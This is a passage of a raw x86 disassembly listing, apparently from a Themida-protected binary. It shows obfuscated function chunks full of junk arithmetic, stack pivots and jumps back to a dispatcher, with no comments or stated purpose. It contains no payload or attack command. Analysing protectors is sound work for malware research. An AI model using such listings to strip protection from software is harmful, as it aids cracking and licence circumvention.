; ---------------------------------------------------------------------------
loc_55E625: ; CODE XREF: sub_559C84+568Bj
and ebx, 0F7844F0h
shr ebx, 4
add ebx, 647D06C8h
sub ebx, 1
push edi
jmp loc_5546F0
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55E640 proc near ; CODE XREF: sub_559C84-259Bj
; FUNCTION CHUNK AT 005552A1 SIZE 00000029 BYTES
push ebx
push edi
push ecx
mov ecx, 6E452CFBh
or ecx, 285E61DCh
jmp loc_5552A1
sub_55E640 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E653: ; CODE XREF: sub_559C84-1152j
and [edi+1Ch], ebp
jmp loc_55917C
; ---------------------------------------------------------------------------
loc_55E65B: ; CODE XREF: sub_559C84+2328j
pop edx
add bl, al
pop eax
sub esp, 4
mov [esp-4+arg_0], edx
mov dl, 4
and dl, 0C9h
add dl, 16h
jmp loc_55E326
; ---------------------------------------------------------------------------
loc_55E675: ; CODE XREF: sub_559C84+3832j
push eax
mov eax, esp
add eax, 4
push esi
mov esi, 15BA67E9h
add esi, 0EA45981Bh
add eax, 3660789Bh
add eax, esi
push ebx
mov ebx, 0ADA377Bh
add ebx, 29AA1C7Ch
or ebx, 771659FFh
xor ebx, 41F62364h
sub eax, ebx
pop ebx
pop esi
xor eax, [esp+48h+var_4A+2]
xor [esp+48h+var_4A+2], eax
jmp loc_554CE2
; ---------------------------------------------------------------------------
loc_55E6B7: ; CODE XREF: sub_559C84-5CE2j
add bl, ah
pop eax
movzx eax, al
mov dx, [esp+0]
jmp loc_557408
; ---------------------------------------------------------------------------
loc_55E6C6: ; CODE XREF: sub_559C84+438Bj
add ecx, 0AEFDFAF1h
add esi, ecx
pop ecx
push esi
push [esp+62h+var_60+2]
mov esi, [esp+0]
add esp, 4
pop [esp+62h+var_64+2]
mov esp, [esp+5Eh+var_60+2]
inc byte ptr [esp+5Eh+var_60+2]
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55E6EC: ; CODE XREF: sub_559C84-4F96j
mov edx, 79F75694h
dec edx
push edi
mov edi, 41C53A6Ch
sub edi, 4BC94ECBh
shl edi, 6
inc edi
neg edi
and edi, 2AE67C48h
add edi, 762E15ECh
jmp loc_55888A
; ---------------------------------------------------------------------------
loc_55E715: ; CODE XREF: sub_559C84+393Dj
push [esp+14h+var_10]
mov eax, [esp+18h+var_18]
add esp, 4
pop [esp+14h+var_14]
pop esp
mov cx, word ptr [esp+0Ch+var_C]
jmp loc_558426
; ---------------------------------------------------------------------------
loc_55E72F: ; CODE XREF: sub_559C84-5885j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp-14h+arg_10]
mov esp, [esp-14h+arg_10]
push edx
mov edx, 2
add esi, edx
pop edx
jmp loc_55BF1B
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55E751: ; CODE XREF: Themida_:0055489Bj
and edi, 3AD915B0h
add edi, 0CDFFEB84h
add edx, edi
mov edi, [esp]
jmp loc_554DD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E767: ; CODE XREF: sub_559C84-6131j
push esi
mov esi, 0F33BF5h
mov ebp, 33F59DCh
sub ebp, esi
pop esi
or ecx, ebp
pop ebp
add ecx, 2AD27B0Dh
jmp loc_5596E6
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555531
loc_55E783: ; CODE XREF: sub_555531-1BB1j
mov ecx, ebx
jmp loc_55C0AA
; END OF FUNCTION CHUNK FOR sub_555531
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E78A: ; CODE XREF: sub_559C84+4FF3j
xor dl, 39h
and dl, 25h
sub dl, 33h
xor dl, 0C3h
mov cl, dl
pop edx
jmp loc_55F4DD
; ---------------------------------------------------------------------------
loc_55E79E: ; CODE XREF: sub_559C84+17D9j
sub ch, 0FFh
shl ch, 8
jmp loc_55945F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5561B6
loc_55E7A9: ; CODE XREF: sub_5561B6+25F2j
pop ebx
pop edi
xchg ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
push dword ptr [eax]
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_5561B6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E7B8: ; CODE XREF: sub_559C84+1E7Cj
pop eax
xor ecx, edi
jmp loc_555193
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554D6A
loc_55E7C0: ; CODE XREF: sub_554D6A+ADD4j
mov [esp+0], esi
push 4461h
mov [esp+4+var_4], edx
mov edx, 6B3E1249h
mov esi, 6B3E124Dh
xor esi, edx
push [esp+4+var_4]
pop edx
jmp loc_55D418
; END OF FUNCTION CHUNK FOR sub_554D6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E7E0: ; CODE XREF: sub_559C84+D45j
add ebx, ecx
jmp loc_5590DD
; ---------------------------------------------------------------------------
loc_55E7E7: ; CODE XREF: sub_559C84+37B7j
mov edi, [esp+40h+var_42+2]
add esp, 4
sub eax, 2BA3FD44h
mov edx, eax
mov eax, [esp+3Ch+var_3E+2]
push edi
jmp loc_55379E
; ---------------------------------------------------------------------------
loc_55E7FD: ; CODE XREF: sub_559C84+4560j
pop ebp
add esp, 4
jmp loc_5555E6
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55E806: ; CODE XREF: Themida_:0055E903j
add edx, 2
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edx
push dword ptr [esp+4]
pop edx
jmp loc_55A68D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E826: ; CODE XREF: sub_559C84-298Fj
not ecx
jmp loc_556390
; ---------------------------------------------------------------------------
loc_55E82D: ; CODE XREF: sub_559C84+3CEEj
sub cl, 0FFh
push ebx
jmp loc_55D6A4
; ---------------------------------------------------------------------------
loc_55E836: ; CODE XREF: sub_559C84-617j
mov ebx, ecx
pop ecx
add ebx, 7C284E3Ch
add ebx, eax
sub ebx, 7C284E3Ch
push ebp
jmp loc_559E55
; ---------------------------------------------------------------------------
loc_55E84D: ; CODE XREF: sub_559C84+4E12j
mov ebp, 4
add [esp-2+arg_0+2], 7487350Fh
add [esp-2+arg_0+2], ebp
sub [esp-2+arg_0+2], 7487350Fh
pop ebp
push [esp-6+arg_0+2]
pop edi
add esp, 4
push ecx
mov ecx, 2BC06F57h
jmp loc_55D2B4
; ---------------------------------------------------------------------------
loc_55E87C: ; CODE XREF: sub_559C84-5583j
sub edi, 79D8D0BCh
xor ebx, edi
pop edi
xor eax, ebx
mov ebx, [esp+38h+var_3A+2]
push ebp
jmp loc_55D3C8
; ---------------------------------------------------------------------------
loc_55E890: ; CODE XREF: sub_559C84-4054j
mov edi, [esp+0]
add esp, 4
add eax, 2
jmp loc_554C40
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5559F0
loc_55E89E: ; CODE XREF: sub_5559F0+18B3j
mov ebx, esi
pop esi
jmp loc_55A48C
; END OF FUNCTION CHUNK FOR sub_5559F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E8A6: ; CODE XREF: sub_559C84-3AE9j
add esi, 4
push ebp
mov ebp, 4
sub esi, ebp
pop ebp
xchg esi, [esp+44h+var_46+2]
pop esp
mov [esp+40h+var_42+2], ebp
push esi
mov esi, 48FA3766h
and esi, 4E516429h
not esi
jmp loc_559754
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov cx, [esp]
push 507Ah
mov [esp], edx
mov edx, esp
push ebx
push 2484h
mov [esp], edx
mov edx, 23931B7Ah
shr edx, 8
add edx, 0FFDC6CE9h
mov ebx, edx
pop edx
add edx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_55E806
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E908: ; CODE XREF: sub_559C84-4222j
push 37DA3379h
pop eax
push edi
mov edi, 6EB96274h
sub eax, edi
jmp loc_556651
; ---------------------------------------------------------------------------
loc_55E91B: ; CODE XREF: sub_559C84-738j
mov [esp+3Eh+var_3E], eax
push esi
jmp loc_556738
; ---------------------------------------------------------------------------
loc_55E924: ; CODE XREF: sub_559C84+32ACj
and ecx, eax
push dword ptr [esp+0]
push [esp+58h+var_58]
jmp loc_55837A
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_55564F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E940: ; CODE XREF: sub_559C84-52Aj
or esi, 7E4F679Bh
xor esi, 0FF4FEF9Dh
jmp loc_553FBD
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55E951: ; CODE XREF: Themida_:00554756j
mov ebx, 44F28E4h
shr ebx, 4
add ebx, 76FC7CD0h
sub ebx, 24542F1Eh
mov eax, ebx
jmp loc_55D5E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E96C: ; CODE XREF: sub_559C84-28C4j
mov cl, dh
pop edx
xor cl, ah
pop eax
jmp loc_55D862
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55EB5B
loc_55E977: ; CODE XREF: sub_55EB5B+9j
pop bx
add ax, si
jmp loc_553C40
; END OF FUNCTION CHUNK FOR sub_55EB5B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E981: ; CODE XREF: sub_559C84-64DEj
add edi, 4
jmp loc_554AE8
; ---------------------------------------------------------------------------
loc_55E98C: ; CODE XREF: sub_559C84-6610j
add esi, 4
xchg esi, [esp+16h+var_18+2]
pop esp
sub ebx, 5C982534h
add ebx, edx
add ebx, 5C982534h
pop edx
push eax
jmp loc_55BEB4
; ---------------------------------------------------------------------------
loc_55E9A8: ; CODE XREF: sub_559C84-5BEDj
mov eax, [esp+0]
add esp, 4
jmp loc_55E091
; ---------------------------------------------------------------------------
loc_55E9B3: ; CODE XREF: sub_559C84-2170j
neg ebp
and ebp, 73727B41h
add ebp, 8CFDA503h
add esi, ebp
pop ebp
xchg esi, [esp+4Ah+var_4A]
mov esp, [esp+4Ah+var_4A]
push [esp+4Ah+var_4A]
pop ecx
sub esp, 4
mov [esp+4Eh+var_4E], esi
jmp loc_55D7B7
; ---------------------------------------------------------------------------
loc_55E9D9: ; CODE XREF: sub_559C84+5DBj
mov ebx, [esp+24h+var_24]
add esp, 4
jmp loc_558D56
; ---------------------------------------------------------------------------
loc_55E9E4: ; CODE XREF: sub_559C84-5D96j
mov ecx, [esp+2+var_4+2]
push ecx
jmp loc_55830B
; ---------------------------------------------------------------------------
loc_55E9ED: ; CODE XREF: sub_559C84+2A3Fj
pop ebx
add ebx, 55307D7Ch
pop eax
add [esp+50h+var_4E+2], ebx
pop ebx
push [esp+4Ch+var_4E+2]
mov edx, [esp+50h+var_52+2]
add esp, 4
jmp sub_557A15
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55EA08: ; CODE XREF: Themida_:005599B9j
push edi
jmp loc_55EA77
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EA0E: ; CODE XREF: sub_559C84+48B4j
add eax, 4
jmp loc_55D175
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55EA18: ; CODE XREF: Themida_:005556ACj
push ebx
jmp loc_55B458
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EA1E: ; CODE XREF: sub_559C84-59BCj
mov ebp, 465BCFh
neg ebp
neg ebp
xor ebp, 521A622Fh
add ebp, 0ADA3C624h
add ecx, ebp
pop ebp
xchg ecx, [esp-18h+arg_14]
pop esp
sub ecx, 7D674C2Ch
jmp loc_5540C1
; ---------------------------------------------------------------------------
loc_55EA45: ; CODE XREF: sub_559C84-1BDEj
push 6BFAh
mov [esp+50h+var_52+2], esi
jmp loc_55C259
; ---------------------------------------------------------------------------
loc_55EA52: ; CODE XREF: sub_559C84-3821j
pop edi
add eax, 616D2830h
add eax, esi
sub eax, 616D2830h
pop esi
xchg eax, [esp+4Ah+var_4A]
pop esp
jmp loc_553D36
; ---------------------------------------------------------------------------
loc_55EA69: ; CODE XREF: sub_559C84-5F97j
and eax, edx
push [esp+14h+var_14]
pop edx
add esp, 4
jmp loc_558C33
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55EA77: ; CODE XREF: Themida_:0055EA09j
mov edi, 17184F29h
mov edx, edi
jmp loc_55D32B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EA83: ; CODE XREF: sub_559C84+6CFj
push 2B24h
mov [esp+42h+var_42], edi
sub esp, 4
push esp
pop [esp+4Ah+var_4A]
push ebp
jmp loc_55E84D
; ---------------------------------------------------------------------------
loc_55EA9B: ; CODE XREF: sub_559C84+5A01j
push 125Fh
mov [esp+4Eh+var_4E], ecx
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558BA2
loc_55EAA8: ; CODE XREF: sub_558BA2-134Bj
push edi
mov edi, 76FA6311h
jmp loc_553AC8
; END OF FUNCTION CHUNK FOR sub_558BA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EAB3: ; CODE XREF: sub_559C84-20F0j
add edx, edi
pop edi
xor edx, [esp+62h+var_64+2]
jmp loc_55BD8E
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558D95
loc_55EABE: ; CODE XREF: sub_558D95-4DC1j
mov [esp+0], bx
mov bh, 79h
add al, bh
mov bx, [esp+0]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 2
jmp loc_55B5FC
; END OF FUNCTION CHUNK FOR sub_558D95
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EADE: ; CODE XREF: sub_559C84+3CA8j
mov [esp+4Ah+var_4A], ebp
mov ebp, esp
push eax
jmp loc_5535D7
; ---------------------------------------------------------------------------
loc_55EAE9: ; CODE XREF: sub_559C84+5E4Fj
add ebx, eax
sub ebx, 59A71D84h
add ebx, 2D494D1Eh
push edx
mov edx, 5F932714h
push edi
jmp loc_557775
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55EB03: ; CODE XREF: Themida_:0055F4D8j
push ebx
mov ebx, 0
sub ebx, edi
xchg ebx, edi
pop ebx
jmp loc_558181
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EB13: ; CODE XREF: sub_559C84+18E1j
mov si, 2B66h
xor bx, si
jmp loc_55F2BB
; ---------------------------------------------------------------------------
loc_55EB1F: ; CODE XREF: sub_559C84-5B06j
sub ebx, 387D46E3h
pop esi
xor ebx, [esp+0]
xor [esp+0], ebx
xor ebx, [esp+0]
pop esp
jmp loc_55FB4E
; ---------------------------------------------------------------------------
loc_55EB35: ; CODE XREF: sub_559C84+3BD9j
push edx
mov edx, 65E24E25h
not edx
sub edx, 7165774h
and edx, 44180B28h
neg edx
jmp loc_55E44E
; ---------------------------------------------------------------------------
loc_55EB50: ; CODE XREF: sub_559C84-3A65j
add ebp, 4
jmp loc_557C20
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55EB5B proc near ; CODE XREF: sub_559C84+146Ej
; FUNCTION CHUNK AT 00553C40 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055E977 SIZE 0000000A BYTES
push bx
mov bx, 76F5h
add ax, bx
jmp loc_55E977
sub_55EB5B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push ecx
mov ecx, esp
push ebx
jmp loc_55383C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EB76: ; CODE XREF: sub_559C84+5730j
mov edi, 8CA4862h
shl edi, 5
jmp loc_55F2F5
; ---------------------------------------------------------------------------
loc_55EB83: ; CODE XREF: sub_559C84-549Aj
add cl, 0B2h
mov ah, cl
pop ecx
push edx
mov dh, 4Eh
add ah, dh
pop edx
push ecx
mov ch, 0CDh
jmp loc_55A212
; ---------------------------------------------------------------------------
loc_55EB97: ; CODE XREF: sub_559C84-894j
add al, 0DBh
pop ecx
mov bx, [esp+0]
add esp, 2
push 0A67h
mov [esp+0], ecx
push edx
mov dl, 0DAh
jmp loc_558950
; ---------------------------------------------------------------------------
loc_55EBB4: ; CODE XREF: sub_559C84-8F4j
mov eax, 70B7229h
shl eax, 3
and eax, 76045AC1h
jmp loc_553D9B
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push 499Ch
jmp loc_557BCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EBD3: ; CODE XREF: sub_559C84-4CEBj
add eax, 4
add eax, 4
xchg eax, [esp+52h+var_52]
jmp loc_55B93B
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554572
loc_55EBE5: ; CODE XREF: sub_554572+43CCj
inc ecx
xor ecx, 7F9609F2h
dec ecx
dec ecx
push edx
mov edx, 42CF07D8h
shl edx, 7
xor edx, 716D41D0h
jmp loc_55B6B2
; END OF FUNCTION CHUNK FOR sub_554572
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EC02: ; CODE XREF: sub_559C84+9C0j
add [esp+4Ch+var_4E+2], 4
pop edi
add edi, 4
push edx
push 2
pop edx
sub edi, edx
jmp loc_55A3B5
; ---------------------------------------------------------------------------
loc_55EC1E: ; CODE XREF: sub_559C84+290Cj
mov [esp+4Ch+var_4E+2], edx
push [esp+4Ch+var_4A+2]
mov edx, [esp+50h+var_52+2]
add esp, 4
pop [esp+4Ch+var_4E+2]
mov esp, [esp+48h+var_4A+2]
jmp loc_55A41C
; ---------------------------------------------------------------------------
loc_55EC36: ; CODE XREF: sub_559C84+3266j
mov ebx, esi
jmp loc_55BA20
; ---------------------------------------------------------------------------
loc_55EC3D: ; CODE XREF: sub_559C84-46A9j
pop esi
push esi
mov esi, esp
push ebp
mov ebp, 4
add esi, ebp
pop ebp
add esi, 4
xchg esi, [esp+42h+var_42]
jmp loc_55D884
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55ED81
loc_55EC55: ; CODE XREF: sub_55ED81+27j
mov edx, [esp+4+var_4]
add esp, 4
add edx, 4
jmp sub_556F29
; END OF FUNCTION CHUNK FOR sub_55ED81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EC66: ; CODE XREF: sub_559C84-63AAj
shl bh, 1
xor bh, 0C7h
add bh, 51h
add cl, bh
jmp loc_5568F7
; ---------------------------------------------------------------------------
loc_55EC75: ; CODE XREF: sub_559C84-1331j
dec dl
jmp loc_55E78A
; ---------------------------------------------------------------------------
loc_55EC7C: ; CODE XREF: sub_559C84+499Cj
push edx
jmp loc_55CE28
; ---------------------------------------------------------------------------
loc_55EC82: ; CODE XREF: sub_559C84-5B2Fj
mov esp, [esp+4+var_4]
movzx ax, byte ptr [eax]
push small 63E0h
mov word ptr [esp+6+var_8+2], ax
jmp loc_55B3D1
; ---------------------------------------------------------------------------
loc_55EC96: ; CODE XREF: sub_559C84+276Bj
add esp, 4
not eax
add eax, 980C40CDh
sub [edi+24h], eax
pop eax
loc_55ECA4: ; CODE XREF: sub_559C84-C9Ej
push ecx
jmp loc_55504B
; ---------------------------------------------------------------------------
loc_55ECAA: ; CODE XREF: sub_559C84-3A4j
neg ecx
sub ecx, 0FFFFFFFFh
or ecx, 9F301AEh
jmp loc_55CC3B
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553D58
loc_55ECBD: ; CODE XREF: sub_553D58+3404j
add al, 0B7h
add al, 9Eh
push dword ptr [esp+0]
mov ecx, [esp+4+var_4]
jmp loc_55A1A8
; END OF FUNCTION CHUNK FOR sub_553D58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555BE3
loc_55ECCC: ; CODE XREF: sub_555BE3+76Fj
mov edi, [esp+0]
push ecx
mov ecx, esp
add ecx, 4
push edi
mov edi, 4
add ecx, 0DD96B86h
jmp loc_557782
; END OF FUNCTION CHUNK FOR sub_555BE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554572
loc_55ECE9: ; CODE XREF: sub_554572+6j
mov edx, ebx
pop ebx
add edi, edx
pop edx
push 57Eh
mov [esp+0], edi
push [esp+arg_0]
jmp loc_554835
; END OF FUNCTION CHUNK FOR sub_554572
; ---------------------------------------------------------------------------
loc_55ED00: ; DATA XREF: Themida_:00553424o
lodsd
xor eax, ebx
push esi
mov esi, 62826F6Fh
xor esi, 653040D7h
add esi, 622A582Bh
push ebx
mov ebx, 7E9629E6h
push ebx
not dword ptr [esp]
pop ebx
push edi
mov edi, 0DCEABCB9h
xor ebx, edi
jmp loc_55F1D1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55ED2D: ; CODE XREF: sub_559C84-5A0Ej
pop esp
jmp loc_55DC3A
; ---------------------------------------------------------------------------
loc_55ED33: ; CODE XREF: sub_559C84-166Bj
xor eax, ecx
pop ecx
jmp loc_55357C
; ---------------------------------------------------------------------------
loc_55ED3B: ; CODE XREF: sub_559C84+DDBj
xor ebx, 0C2D144BEh
jmp loc_55CA8D
; ---------------------------------------------------------------------------
loc_55ED46: ; CODE XREF: sub_559C84-2DECj
add al, 67h
sub al, bl
push ecx
push ebx
mov bl, 67h
jmp loc_5584CC
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55ED53: ; CODE XREF: Themida_:0055E5A6j
mov esi, 4CD736AAh
mov ebp, esi
pop esi
sub ecx, ebp
pop ebp
add ecx, 40746B2Fh
add ecx, ebp
push esi
mov esi, 449D11E6h
inc esi
jmp loc_557898
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55ED72: ; CODE XREF: sub_559C84+1946j
mov [esp+60h+var_60], eax
mov eax, 4
mov ecx, eax
jmp loc_5587CC
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_55ED81 proc near ; CODE XREF: sub_559C84-1FE2j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055EC55 SIZE 00000011 BYTES
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
pop esp
push dword ptr [esp+0]
pop eax
push edx
push 19C2h
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
jmp loc_55EC55
sub_55ED81 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EDAD: ; CODE XREF: sub_559C84+3ABj
add al, dh
jmp loc_553663
; ---------------------------------------------------------------------------
loc_55EDB4: ; CODE XREF: sub_559C84-1A25j
mov edx, [esp+48h+var_4A+2]
add esp, 4
sub [esp+44h+var_42+2], ecx
pop ecx
sub [esp+40h+var_42+2], 2E900F06h
jmp loc_554D80
; ---------------------------------------------------------------------------
loc_55EDCB: ; CODE XREF: sub_559C84-616Ej
mov bh, ch
jmp loc_55A411
; ---------------------------------------------------------------------------
loc_55EDD2: ; CODE XREF: sub_559C84-127Cj
add eax, 4
xchg eax, [esp+10h+var_10]
jmp loc_55918A
; ---------------------------------------------------------------------------
loc_55EDDF: ; CODE XREF: sub_559C84+47D0j
add edx, 6A14D4F9h
add esi, edx
pop edx
add ebp, esi
pop esi
jmp loc_55C1CF
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
add esp, 4
push edx
jmp loc_55A336
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EE06: ; CODE XREF: sub_559C84+2CDEj
and [edi+1Ch], ebp
push [esp+0Ch+var_C]
pop ebp
add esp, 4
jmp loc_55A0DD
; ---------------------------------------------------------------------------
loc_55EE15: ; CODE XREF: sub_559C84-47C6j
mov edx, 57B96AADh
xor edx, 4FE855D4h
add edx, 1DDD232Bh
jmp sub_55F673
; ---------------------------------------------------------------------------
loc_55EE2B: ; CODE XREF: sub_559C84-4B0Aj
add edi, ecx
pop ecx
jmp loc_556645
; ---------------------------------------------------------------------------
loc_55EE33: ; CODE XREF: sub_559C84+3A82j
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_55F580
; ---------------------------------------------------------------------------
loc_55EE47: ; CODE XREF: sub_559C84+C8Dj
push edi
mov edi, 6674069Ch
jmp loc_55780C
; ---------------------------------------------------------------------------
loc_55EE52: ; CODE XREF: sub_559C84-4776j
pop cx
shr dh, 5
push ecx
mov cl, 0E3h
shl cl, 4
add cl, 9Bh
xor dh, cl
pop ecx
jmp loc_556C89
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55EE68: ; DATA XREF: Themida_:00553428o
pop dword ptr [edx]
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55EE6F: ; CODE XREF: Themida_:005588DEj
xor ebx, edi
pop edi
push eax
mov eax, 7BBD4B82h
neg eax
inc eax
add eax, 7E0C9D40h
sub ebx, eax
jmp loc_55C00C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EE87: ; CODE XREF: sub_559C84+26CDj
pop esi
jmp loc_55B4B1
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55EE8D: ; CODE XREF: Themida_:0055FC61j
xchg esi, [esp]
mov esp, [esp]
mov fs:[edx], ax
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EE9C: ; CODE XREF: sub_559C84-62ABj
pop ecx
jmp loc_55BA35
; ---------------------------------------------------------------------------
loc_55EEA2: ; CODE XREF: sub_559C84-46E2j
pop ebp
and eax, edx
pop edx
shr eax, 12h
jmp loc_55CFA9
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5589C1
loc_55EEAE: ; CODE XREF: sub_5589C1+17Fj
sub ebp, 0B2274137h
push eax
mov eax, 74B0A43h
xchg eax, ebx
not ebx
xchg eax, ebx
add eax, 5F9D6971h
add esi, eax
pop eax
sub esi, ebp
push 5B2Bh
mov [esp+8+var_8], eax
mov eax, 58525F2Dh
sub esi, eax
jmp loc_55D3E3
; END OF FUNCTION CHUNK FOR sub_5589C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557920
loc_55EEDC: ; CODE XREF: sub_557920+E0Aj
neg ebx
jmp loc_55ABB9
; END OF FUNCTION CHUNK FOR sub_557920
; ---------------------------------------------------------------------------
loc_55EEE3: ; CODE XREF: Themida_:0055974Fj
push 219Ch
mov [esp], ebx
push esp
pop ebx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_558E3E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EF01: ; CODE XREF: sub_559C84-1DCAj
add ecx, 211806C7h
shr ecx, 7
sub ecx, 562EA333h
mov eax, ecx
pop ecx
mov edi, eax
pop eax
sub ebx, 20FA0BCDh
sub ebx, edi
add ebx, 20FA0BCDh
pop edi
and eax, ebx
push [esp-16h+arg_10+2]
push [esp-12h+arg_C+2]
jmp loc_55AC29
; ---------------------------------------------------------------------------
loc_55EF32: ; CODE XREF: sub_559C84-31A2j
sub ecx, 3A6060CAh
pop edi
sub ecx, 4
xchg ecx, [esp+5Eh+var_60+2]
jmp loc_55FAD8
; ---------------------------------------------------------------------------
loc_55EF44: ; CODE XREF: sub_559C84+32CCj
pop ecx
mov [edi+eax*4+1], bl
push [esp+58h+var_58]
pop ebx
push eax
push esp
pop eax
add eax, 4
jmp loc_55B5C3
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55EF5A: ; CODE XREF: Themida_:00556514j
add esp, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
sub esp, 4
jmp loc_556E60
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EF7F: ; CODE XREF: sub_559C84-6526j
push 4
jmp loc_55A556
; ---------------------------------------------------------------------------
loc_55EF89: ; CODE XREF: sub_559C84+1E02j
pop esp
xor [esp-1Ah+arg_14+2], eax
pushf
jmp loc_55351F
